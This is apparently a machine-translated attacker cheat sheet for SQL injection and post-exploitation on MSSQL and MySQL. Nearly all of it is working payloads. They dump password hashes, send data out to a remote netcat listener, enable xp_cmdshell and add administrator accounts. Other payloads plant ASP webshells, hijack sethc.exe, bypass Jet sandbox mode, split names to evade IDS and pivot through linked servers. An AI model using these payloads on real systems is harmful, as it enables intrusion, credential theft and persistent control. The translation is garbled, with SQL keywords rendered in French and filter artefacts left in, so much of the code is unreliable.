Le hachage du mot de passe qui copie la connexion _blank> mot de passe de la table de hachage (HASH) est stocké dans les sysxlogins. Voici comment : insérer dans OPENROWSET(SQLOLEDB,
UID=SA ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,sélectionner * de _blank>_sysxlogins)
select * from database.dbo.sysxlogins Une fois que vous avez le hash, vous pouvez le forcer par la force.
Pour parcourir le répertoire : Commencez, créez une table temporaire : temp ; crée la température de table (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255),num3 nvarchar(255)) ; – ; insérer le master.dbo.xp_blank>_availablemedia exécutif temporaire ; – Récupérer tous les disques courants ; insérer dans l’exécutif temp(id) master.dbo.xp_blank>_subdirs c :\ ; – Obtenir une liste de sous-répertoires ; insérer dans temp(id,num1) exec master.dbo.xp_blank>_dirtree c :\ ; – Obtenir la structure arborescente des répertoires pour tous les sous-répertoires,
Fusionner les pouces dans la table de température ; Insérer dans l’exécutif temp(id) master.dbo.xp_blank>_cmdshell Type C :\web\index.asp ; – Voir un fichier
Contenu ; insérer dans temp(id) exec master.dbo.xp_blank>_cmdshell dir. c :\ ; – ; insérer dans temp(id) exec master.dbo.xp_blank>_cmdshell dir c :\ *.asp /s/a ; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C :\Inetpub\Adminscrip{filter}ts
\adsutil.vbs ENUM W3SVC ; insérer dans temp(id,num1) exec master.dbo.xp_blank>_dirtree c :\ ; – (xp_blank>_dirtree Autorité applicable
PUBLIC) Écrivez à la table : déclaration 1 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(sysadmin)) ; – Déclaration 2 : et 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)) ; – Déclaration 3 : et 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)) ; – Déclaration 4 : et 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)) ; – Déclaration 5 : et 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)) ; – Déclaration 6 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(diskadmin)) ; – Déclaration 7 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(bulkadmin)) ; – Déclaration 8 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(bulkadmin)) ; – Énoncé 9 : et 1=(Sélectionner IS_blank>_MEMBER(db_blank>_owner)) ; –
Écrivez le chemin jusqu’à la table : ; Create Table dirs(paths varchar(100), id int)– ; insérer dirs exécutif master.dbo.xp_blank>_dirtree c :\– et 0<>(sélectionne les chemins du top 1 à partir de dirs)– et 0<>(sélectionner les chemins top 1 à partir des dirs où les chemins ne sont pas dans (@Inetpub))– ; Create Table dirs1(paths varchar(100), id int)– ; insérer dirs exécutif master.dbo.xp_blank>_dirtree e :\web– et 0<>(sélectionne les chemins top 1 de dirs1)–
Sauvegardez _blank> base de données dans un annuaire web : Télécharger ; déclarer @a nom système ; ensemble @a=db_blank>_name() ; sauvegarde de la base de données @a vers disque=e :\web\down.bak ; –
et 1=(Sélectionner le nom top 1 de(Sélectionner top 12 id,name from sysobjects où xtype=char(85)) T
Ordre par ID Desc) et 1=(Sélectionner Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) à partir de sysobjects) Voir aussi
Tableaux associés. et 1=(sélectionner user_blank>_id de USER_blank>_LOGIN) et 0=(sélectionner l’utilisateur de USER_blank>_LOGIN où l’utilisateur>1)
-=- wscrip{filter}t.shell exemple -=- déclare @o int Exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exécutif sp_blank>_oamethod @o, run, NULL, notepad.exe ; déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
déclare @o int, @f int, @t int, @ret int déclarer @line Varchar (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, OpenTextFile, @f out, C :\boot.ini, 1 exécutif @ret = sp_blank>_oamethod @f, readline, @line out tandis que ( @ret = 0 ) Début Impression @line exécutif @ret = sp_blank>_oamethod @f, readline, @line out Fin
déclare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, createtextfile, @f out, c :\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, < % set o = server.createobject(« wscrip{filter}t.shell ») : o.run( request.querystring(« cmd ») ) %>
déclarez @o int, @ret int exécutif sp_blank>_oacreate speech.voicetext, @o terminé exécutif sp_blank>_oamethod @o, register, NULL, foo, bar sp_blank>_oasetproperty @o exécutif, vitesse, 150 exécutif sp_blank>_oamethod @o, parle, NULL, tous tes serveurs de suite appartiennent à, us, 528 attends un retard 00:00:05
; déclarez @o int, @ret exécutif d’sp_blank>_oacreate speech.voicetext, @o exécutif
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, parlez, NULL, tous vos serveurs de suite nous appartiennent, délai d’attente 528
00:00:05–
xp_blank>_dirtree l’autorisation PUBLIQUE applicable exec master.dbo.xp_blank>_dirtree c : Les informations retournées comportent deux champs : sous-répertoire, profondeur. Champs de sous-répertoire
Type de caractère, le champ de profondeur est le champ de façonnage. Create Table dirs (paths varchar(100), id int) La construction de tables, la table créée ici est liée à la xp_blank>_dirtree ci-dessus, avec des champs égaux et du même type. insérer dirs exécutif master.dbo.xp_blank>_dirtree c : Tant que nous construisons une table et définissons les champs retournés par le processus de stockage de manière égale
Exécutez ! Pour obtenir l’effet de la rédaction de tableaux, étape par étape pour obtenir les informations que nous voulons ! Cette injection d’erreurs est principalement basée sur le débordement des types de données Mysql mysql > SELECT 18446744073709551610 * 2 ; ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(- (1)*
9223372036854775808)' Version de la base de données de requête : mysql> SELECT * 2 (si ((SELECT * from (SELECT (version ()) s), 18446744073709551610,
18446744073709551610)); ERREUR 1690 (22003) : BIGINT VALEUR UNSIGNED est hors plage dans '(2 * if (( Select ' 5.5 ' from
Double), 18446744073709551610.18446744073709551610))' Obtenez le nom du champ : mysql> SELECT 2 * if((SELECT * from (select * from test.shop) comme '' limite 1)>(SELECT * from
test.shop limite 1), 18446744073709551610, 18446744073709551610) ;
ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(2 * if(((select
'article', 'revendeur', 'prix' (sélectionnez 'test'.'shop'.'article' AS
'article', 'test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' de
'test'.'shop') limite 1) > (select
'test'.'boutique'.'article','test'.'boutique'.'dealer','test'.'boutique'.'prix' de 'test'.'shop limite'
1)),18446744073709551610,18446744073709551610))' Obtenez la valeur du champ :
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) comme '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(2 * if(((select
'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', '
Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '', '', À PARTIR DE LA DOUBLE LIMITE 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Notez que cette méthode ne fonctionne pas avec les anciennes versions de Mysql, et vous devrez connaître la limite de longueur du message d’erreur, car cela déterminera
Vous pouvez obtenir autant de temps que vous voulez : mysys / my_error.c
/* Longueur maximale d’un message d’erreur. Doit être synchronisé avec MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Si l’objet est MariaDB (un fork de Mysql), vous pouvez voir un message d’erreur similaire lorsque vous essayez la méthode ci-dessus :
mysql> SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,
18446744073709551610)) ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors de portée dans '(2 * if((select
#),18446744073709551610,18446744073709551610))'
En solution, ce problème peut être résolu de la manière suivante :
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a ; ERREUR 1690 (22003) : La valeur BIGINT est hors de portée dans '(('5.5-MariaDB' n’est pas nulle) - -
(9223372036854775808))' Voyons maintenant si nous pouvons raccourcir un peu notre Vector
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) comme '' limite 1)>(SELECT * from
test.shop limite 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*frommysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) comme '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.limite d’utilisateurs 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT
1) une limite 1),2,2)
//获取字段个数
sélectionnez 1E308*if((sélectionne*depuis mysql.User limite 1)>(sélectionnez 1),2,2)
Quelques autres déformations
SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a select 1E308*if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT
1) une limite 1),2,2) ; => sélectionne 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0) ; mysql> sélectionner (sélectionner * depuis mysql.user)=1 ; mysql> sélectionner (sélectionner * depuis mysql.user)in(1) ;
ERREUR 1241 (21000) : L’opérande doit contenir 42(s) colonne(s) sélectionne 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0) ; select if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT 1)a
limite 1),2,2)*1E308 SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a select (x !=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select !x-~0.FROM(select+user()x)f ; ERREUR 1690 (22003) : la valeur BIGINT UNSIGNED est hors de portée dans '((not('root@localhost')) - ~
(0))' 3. Juger le système de base de données ; et (select count(*) from sysobjects)>0 mssql ; et (select count(*) depuis msysobjects)>0 accès 4. Le paramètre d’injection est un caractère « et [critères de requête] et « = » 5. Il n’y a pas de paramètres filtrés pendant la recherche « et [critères de requête] et « %25 »= » 6. Devinez la base de données ; et (sélectionnez Compte(*) depuis [nom de la base de données])>0 7. Devinez le champ ; et (sélectionner Count(nom du champ) à partir du nom de la base de données)>0 8. Devine la longueur du disque sur le terrain ; et (sélectionner le 1 meilleur LEN (nom du champ) à partir du nom de la base de données)>0 9. (1) Deviner la valeur ASCII du champ (accès) ; et (sélectionner le top 1 ASC(milieu (nom du terrain, 1,1)) à partir du nom de la base de données)>0 (2) Deviner la valeur ASCII du champ (mssql) ; et (sélectionner top 1 unicode(sous-string(nom du champ, 1,1)) du nom de la base de données)>0 10. Structure de permission de test (mssql) ; et 1=(sélectionner IS_SRVROLEMEMBER('sysadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('serveradmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('setupadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('securityadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('diskadmin')) ; -- ; et 1=(sélectionner IS_SRVROLEMEMBER('bulkadmin')) ; -- ; et 1=(sélectionner IS_MEMBER('db_owner')) ; -- 11. Ajouter un compte pour mssql et le système ; Exécutif master.dbo.sp_addlogin nom d’utilisateur ; -- ; exécutif master.dbo.sp_password null, nom d’utilisateur, mot de passe ; -- ; le nom d’utilisateur administrateur système master.dbo.sp_addsrvrolemember exécutif ; -- ; exécutif master.dbo.xp_cmdshell 'Nom d’utilisateur net mot de passe /workstations :* /times :all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exécutif master.dbo.xp_cmdshell « nom d’utilisateur net mot de passe /add » ; -- ; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators username /add » ; -- 12. (1) Parcourez le catalogue ; Create Table dirs (paths varchar(100), id int) ; Insérer les directions exécutives master.dbo.xp_dirtree 'C :\' ; et (sélectionner les chemins top 1 des dirs)>0 ; et (sélectionnez les chemins top 1 à partir des dirs où les chemins non inclus ('chemins obtenus à partir de l’étape précédente')))>) (2) Parcourir le catalogue ; crée la température de table (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255),num3 nvarchar(255)) ; -- ; insérer le master.dbo.xp_availablemedia exécutif temporaire ; -- Récupérer tous les disques courants ; insérer dans temp(id) exec master.dbo.xp_subdirs 'c :\' ; -- Obtenir une liste des sous-répertoires ; insérer dans temp(id,num1) exécutif master.dbo.xp_dirtree 'c :\' ; -- Obtenir la structure de l’arbre de répertoires pour tous les sous-répertoires ; insérer dans temp(id) exec master.dbo.xp_cmdshell 'type c :\web\index.asp' ; -- Voir le contenu du fichier 13. Procédures stockées dans mssql xp_regenumvalues Clé racine du registre, clé enfant ; exécutif xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' et plus encore
méthode du réseau d’enregistrements pour retourner toutes les valeurs clés xp_regread Clé racine, clé enfant, nom clé-valeur ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' renvoie la valeur de la clé de formulation xp_regwrite Clé root, clé enfant, nom de valeur, type de valeur, valeur Il existe deux types de valeurs REG_SZ REG_DWORD pour les types de caractères et pour les entiers ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sont écrits dans le registre xp_regdeletevalue Clé racine, sous-clé, nom de valeur exécutif xp_regdeletevalue 'HKEY_LOCAL_MACHINE','LOGICIEL\Microsoft\Windows
\CurrentVersion', 'TestvalueName' pour supprimer une valeur xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' clé supprimer,
Incluez toutes les valeurs sous cette clé 14. La sauvegarde mssql crée un webshell Modèle d’utilisation créer un tableau cmd (image STR) ; insérer dans cmd(str) les valeurs ('< % Dim oscrip{filter}t %>') ; sauvegarde du modèle de base de données sur disque='c :\l.asp' ; 15. Fonctions intégrées MSSQL ; et (sélectionnez @@version)>0 pour obtenir le numéro de version de Windows ; et user_name()='dbo' pour déterminer si l’utilisateur connecté du système actuel est SA ; et (sélectionner user_name())>0 A fait exploser les utilisateurs connectés du système actuel ; et (sélectionnez db_name())>0 pour obtenir la base de données actuellement connectée 16. Webshell concis Modèle d’utilisation créer un tableau cmd (image STR) ; insérer dans cmd(str) valeurs ('< %=server.createobject(« wscrip{filter}t.shell »).exec(« cmd.exe /c
« &request(« c »)).stdout.readall %>') ; sauvegarde du modèle de base de données sur disque='g :\wwwtest\l.asp' ; Lorsque vous demandez, utilisez quelque chose comme ceci :
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Obtenez tous les noms de bases de données, y compris les bases de données système –SELECT le nom FROM master.dbo.sysdatabases
– Obtenir tous les noms de bases de données non système –sélectionnez [nom] dans master.dbo.sysdatabases où DBId>6 ordonne par [nom]
– Obtenez toutes les informations, y compris l’adresse du fichier de la base de données –select * à partir de master.dbo.sysdatabases où DBId>6 ordonne par
[Nom]
Cette requête de l’instruction renvoie toutes les tables utilisateur
sélectionner * à partir de sysobjects où xtype='u'
Interrogez toutes les informations de la table de données dans le système
sélectionner * à partir de sysobjects
Regarde le nom de la machine select * depuis sys.servers
Table des matières des colonnes exécutif master.dbo.xp_subdirs 'C :\'
exécutif master.dbo.xp_dirtree 'c :',1,1 db_owner Les autorisations peuvent être appliquées
exécutif master.dbo.xp_dirtree 'c :/Program Files',1,1
Code de programme, écrit sur webshell
master.dbo.xp_subdirs exécutif 'd :\web\www.xx.com' ; Le sp_makewebtask exécutif :
\web\www.XXXX.com\XX.asp','select"< %execute(request(« SB ») %> »
exécute maître... xp_enumgroups
Utilisateurs du système Traverse
exécute maître... xp_getnetname Obtenez le nom actuel de la machine
--Listez les disques fixes sur le serveur, ainsi que l’espace disponible pour chaque disque dbo public
exécuter
xp_ntsec_enumdomains
-- Créez un compte pour vous connecter à MSSQL master.dbo.sp_addlogin exécutif nom, Pass ; --
-- Listez le nom de domaine serveur xp_ntsec_enumdomains // Nom de machine //dbo public
-- Arrêter ou lancer un service xp_servicecontrol 'stop', 'schedule' //schedule est le nom du service //dbo
--Utiliser le pid
Arrêter un programme en cours d’exécution xp_terminate_process 123 //123 est le pid //dbo
-- Seuls les sous-répertoires d’un annuaire sont listés dbo.xp_subdirs 'C :' //dbo
SQL Server La méthode d’ouverture de la xp_cmdshell en 2005 EXEC sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; EXÉCUTIF
sp_configure « xp_cmdshell », 1 ; RECONFIGURER ;
SQL2005 Ouvrir « OPENROWSET » Méthodes prises en charge : exécutif sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; exécutif sp_configure 'Ad Hoc
requêtes distribuées », 1 ; RECONFIGURER ;
SQL2005 pour permettre un support « sp_oacreate » : exécutif sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; Exécutif
sp_configure « Procédures d’automatisation anciennes », 1 ; RECONFIGURER
Comment activer xp_cmdshell dans SQL Server 2008
-- Permettre la modification des options avancées. EXÉCUTIF
sp_configure « afficher les options avancées », 1 GO -- Pour mettre à jour la valeur actuellement configurée pour
Options avancées. RECONFIGURER GO -- Pour activer la fonctionnalité. EXÉCUTIF sp_configure 'xp_cmdshell', 1 GO --À
Mettez à jour la valeur actuellement configurée pour cette fonctionnalité. RECONFIGURER GO
exécutif xp_cmdshell 'ipconfig'
Aujourd’hui, je voulais changer le mot de passe de connexion SA du serveur de base de données, mais j’ai soudainement oublié, alors j’ai dû ouvrir l’analyseur de requêtes avec l’aide d’autres comptes pour changer le mot de passe SA
C’est très simple :
Exécution : sp_password Null, 'teracypwd', 'sa' Définir le mot de passe SA sur « teracypwd »
Après une exécution réussie
Il y a « Commandement(s) accompli(s) avec succès ». D’ACCORD!
Dans la permission de la base de données, séparez la méthode d’obtention de l’IP du serveur de base de données MSSQL
1. Le NC local écoute NC - VVLP 80
2.; insérer dans
OPENROWSET('SQLOLEDB','uid=sa ; pwd=xxx ; Network=DBMSSOCN ; Adresse = votre adresse IP, 80 ; ', 'sélectionner * depuis
dest_table') sélectionner * dans src_table ; --
select * depuis openrowset
('sqloledb','server=125.110.145.130,6789 ; UID=SA ; pwd=zhu','sélectionner l’utilisateur ; ')
Importation et exportation de bases de données
/*不同服务器数据库之间的数据操作*/
--Créer un serveur de lien sp_addlinkedserver exécutif
'ITSV', 'SQLOLEDB', 'Nom ou adresse IP du serveur distant' exécutif sp_addlinkedsrvlogin 'ITSV', 'faux
',nulle, 'nom d’utilisateur', 'mot de passe'
--exemple de requête select * from ITSV.database name.dbo.table name
--exemple d’importation sélectionner *
dans la table depuis ITSV.databasename.dbo.tablename
--Supprimez le serveur lié s’il n’est plus utilisé à l’avenir exécutif sp_dropserver 'ITSV',
« droplogins »
-- Connexion à des données distantes/LAN (openrowset/openquery/opendatasource) --1、OpenrowSet
--exemple de requête sélectionner *
from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; 'mot de passe', nom de la base de données.dbo.nom de table)
-- Générer une table locale select * into table from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; « Mot de passe », numéro
Selon le nom de la base de données.dbo. nom de tableau)
-- Importez la table locale dans la table distante insérer openrowset( 'SQLOLEDB', 'nom du serveur SQL' ; « Nom d’utilisateur » ; « Mots de passe », bases de données
nom.dbo.nom de la table) sélectionner *depuis le tableau local
-- Mettre à jour les tables locales Mise à jour B Définit b. colonne A = a from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; '
mot de passe ', nom de la base de données .dbo.nom de table) comme table locale de jointure interne B sur a.colonne1=b.colonne1
--openquery L’utilisation nécessite de créer une connexion
--D’abord, créer une connexion pour créer un serveur de liaison exécutif sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'nom ou adresse IP du serveur distant' --Renseignez-vous sélectionner * FROM OpenQuery(ITSV, 'SELECT * FROM données
nom library.dbo.table ') -- Importez la table locale dans la table distante insérer openquery(ITSV, 'SELECT * FROM database.dbo.table name') sélectionner * depuis le local
tableau --mise à jour du tableau local Mise à jour B Ensemble b. colonne B=a DEPUIS openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
en tant que Joint interne table locale b sur a. colonne A=b. colonne A
--3、OpenDataSource/OpenRowSet SELECT * DE
opendatasource( 'SQLOLEDB', 'Data Source=ip/NomServeur ; ID utilisateur = Nom de connexion ; Mot de passe = Mot de passe '
).test.dbo.roy_ta -- Importez la table locale dans la table distante
Suppression et restauration de xp_cmdshell
Moyens de récupérer xp_cmdshell Supprimez la procédure stockée étendue xp_cmdshell
Énoncé sp_dropextendedproc exécutif « xp_cmdshell »
Récupérer l’instruction sql de cmdshell exécutif sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Exécutif
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' ; Select Count(*) à partir de
master.dbo.sysobjects où xtype='x' et Le résultat de retour est 1 et c’est correct
Sinon, il faut télécharger c :\inetput\web
\xplog70.dll plus tard exécutif master.dbo.sp_addextendedproc 'xp_cmdshell', 'c :\inetput\web\xplog70.dll
’; --
Si vous le supprimez de la manière suivante Procédure de chute sp_addextendedproc Procédure de chute sp_oacreate Exécutif
sp_dropextendedproc 'xp_cmdshell'
Vous pouvez le restaurer avec la déclaration suivante DBCC AddExtendedProc (« sp_oacreate », « odsole70.dll ») DBCC
addextendedproc (« xp_cmdshell »,« xplog70.dll »)
De cette manière, il peut être restauré directement, que sp_addextendedproc existe ou non
1、 Utilisez xp_cmdshell : Exécutif master.dbo.xp_cmdshell « administrateur administrateur utilisateur net / add » Exécutif
master.dbo.xp_cmdshell « administrateurs de groupe local net admin /add »
Dans xp_cmdshell cas, utilisez sp_oacreate pour suivre sp_oamethod : déclare @object int Exécutif
sp_oacreate 'wscrip{filter}t.Shell', @object out sp_oamethod exécutif
@object,'Run',NULL,'admin utilisateur net admin /add' exec sp_oamethod @object, 'Run', NULL,'net
localgroup Admins admin /add'
Note : regsvr32 /s c :\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Utilisez sp_oacreate et FSO déclare @o int sp_oacreate exécutif
'scrip{filter}ting.filesystemobject', @o out exécutif sp_oamethod @o, 'copyfile',null,'c :\windows
\explorer.exe' ,'c :\windows\system32\sethc.exe' ; déclare @oo int Exécutif
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out sp_oamethod @oo exécutif,
'copyfile',null,'c :\windows\system32\sethc.exe' ,'c :\windows\system32\dllcache\sethc.exe' ;
Utilisez xp_regwrite (db_owner, redémarrage requis) : master.dbo.xp_regwrite exécutif
'hkey_local_machine', 'logiciel\microsoft\windows\currentversion\
run','eadd1','reg_sz','admin utilisateur net admin /add' master.dbo.xp_regwrite exécutif
'hkey_local_machine', 'logiciel\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrateurs admin /add' 5. Utiliser sp_add_job : Exécutif
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Utilisez les sp_delete_job exécutifs MSDB
nul, 'x' Exécutif sp_add_job 'X' sp_add_jobstep exécutif
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' sp_add_jobserver exécutif
Null, 'x', @@servername exécutif sp_start_job 'x'
Beaucoup de SA ont réussi dans de nombreuses machines directement en mode bac à sable, mais je ne l’ai jamais pratiqué et je ne connais pas le taux de réussite. Lorsque l’extension est retirée, d’abord
Restaurez le stockage en lecture et écriture dans le registre. DBCC AddExtendedProc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite'','xpstar.dll')
Correction du mode protégé du bac à sable Maître exécutif... xp_regwrite 'HKEY_LOCAL_MACHINE', 'LOGICIEL\Microsoft\Jet
\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 ; --
Vérifiez si la valeur 'SandBoxMode' est passée à 0.
exécutif master.dbo.xp_regread 'HKEY_LOCAL_MACHINE''LOGICIEL
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Enfin, appelez le mode bac à sable Select * from OpenRowSet('microsoft.jet.oledb.4.0',' ; database=C :\WINDOWS
\system32\ias\dnary.mdb','select shell(« cmd.exe /c net user user passwd /add »)')
Si le mode de protection bac à sable n’est pas « désactivé », une erreur est signalée : Serveur : Msg 7357, Niveau 16, État 2, Ligne 1
Échec de gérer l’objet « select shell (« cmd.exe /c net user user passwd /add ») ». OLE DB propose des programmes
La préface « microsoft.jet.oledb.4.0 » indique qu’il n’y a pas de colonnes dans l’objet.
Suivi d’erreurs OLE DB [Erreur non-interface : fournisseur OLE DB impossible de traiter l’objet, puisque l’objet
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Si le .mdb n’existe pas ou si le chemin d’entrée est incorrect Serveur : Msg 7399, Niveau 16, État 1, Ligne 1
Erreur du fournisseur OLE DB 'microsoft.jet.oledb.4.0'. [Message de retour du fournisseur OLE/DB :
Fichier 'C :\WINDOWS\system32\ias\dnary1.mdb' non trouvé. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize ::Initialize returned
0x80004005 : ]。
3. S’il y a plus d’espaces pendant le processus d’entrée, une erreur sera également signalée. Faites une attention particulière à cela, beaucoup de gens cherchent directement des articles en ligne
Collez-le dedans et exécutez-le. Serveur : Msg 7357, Niveau 16, État 2, Ligne 1 Échec du traitement de l’objet 'select
shell(« cmd.exe /c net user user passwd /add »)'。 Le fournisseur OLE DB 'microsoft.jet.oledb.4.0' indique qu’il n’y a aucune colonne dans l’objet.
Suivi des erreurs OLE DB [Erreur non d’interface : Fournisseur OLE DB incapable de traiter l’objet, puisque l’objet a
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Si les permissions mdb et cmd.exe permissions sont incorrectes, le problème surviendra également. Lorsque les permissions MDB sont incorrectes, Serveur : Éliminer
Intérêt 7320, Niveau 16, État 2, Ligne 1
Il ne pouvait pas répondre Le fournisseur OLE DB 'Microsoft.Jet.OLEDB.4.0' exécute la requête. [Fournisseur OLE/DB retourné
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Si l’autorisation du net est incorrecte, il n’y a pas de requête.
La dernière façon d’accroître l’autorité est de télécharger les ias.mdb et cmd.exe du système sous le répertoire web actuel, net.exe trois fichiers.
Exécuter select * from openrowset('microsoft.jet.oledb.4.0',' ; database=E :\web\ias.mdb','select shell
(« E :\web\cmd.exe /c E :\web\net.exe utilisateur utilisateur passwd /add »)') Ajout réussi d’un utilisateur informatique.
La division cmdshell contourne IDS Déclare @a sysname set @a='xp_'+'cmdshell' exécutif @a 'ipconfig' déclarer
@a sysname set @a='xp'+'_cm'+'dshell' exécutif @a 'dir c :\'
Modifier le shift de détournement du registre Maître exécutif... xp_regwrite 'HKEY_LOCAL_MACHINE','LOGICIEL\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c :\windows
\system32\cmd.exe on' ; --
Interroger le serveur de liens choisir
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,accès aux données depuis master.dbo.sysservers choisir
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,accès aux données depuis master.dbo.sysservers
Requête linkserver2 sélectionnez nom d’hôte distinct,db_name(dbid),net_address,loginame,program_name à partir de
maître... sysprocesses
Interroger le serveur de liens et autres utilisateurs connectés select * from [192.168.1.1].master.dbo.syslogins
Query linkserver Toutes les bases de données select * from linkedSrvWeb.master.dbo.sysdatabases
Effectuer un stockage étendu sur LinkServer exécutif [IP].master.dbo.xp_cmdshell
Interroger toutes les tables sur le serveur de liens Select * from [IP].master.dbo.sysobjects
select * depuis openrowset
('sqloledb','server=IP ; uid=utilisateur ; pwd=mot de passe', 'select @@version')
select * from openquery([LINKSERVER
nom], 'sélectionner @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery(GM_SERVER,'select * from sysobjects où xtype = (''U'')')
select * from
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
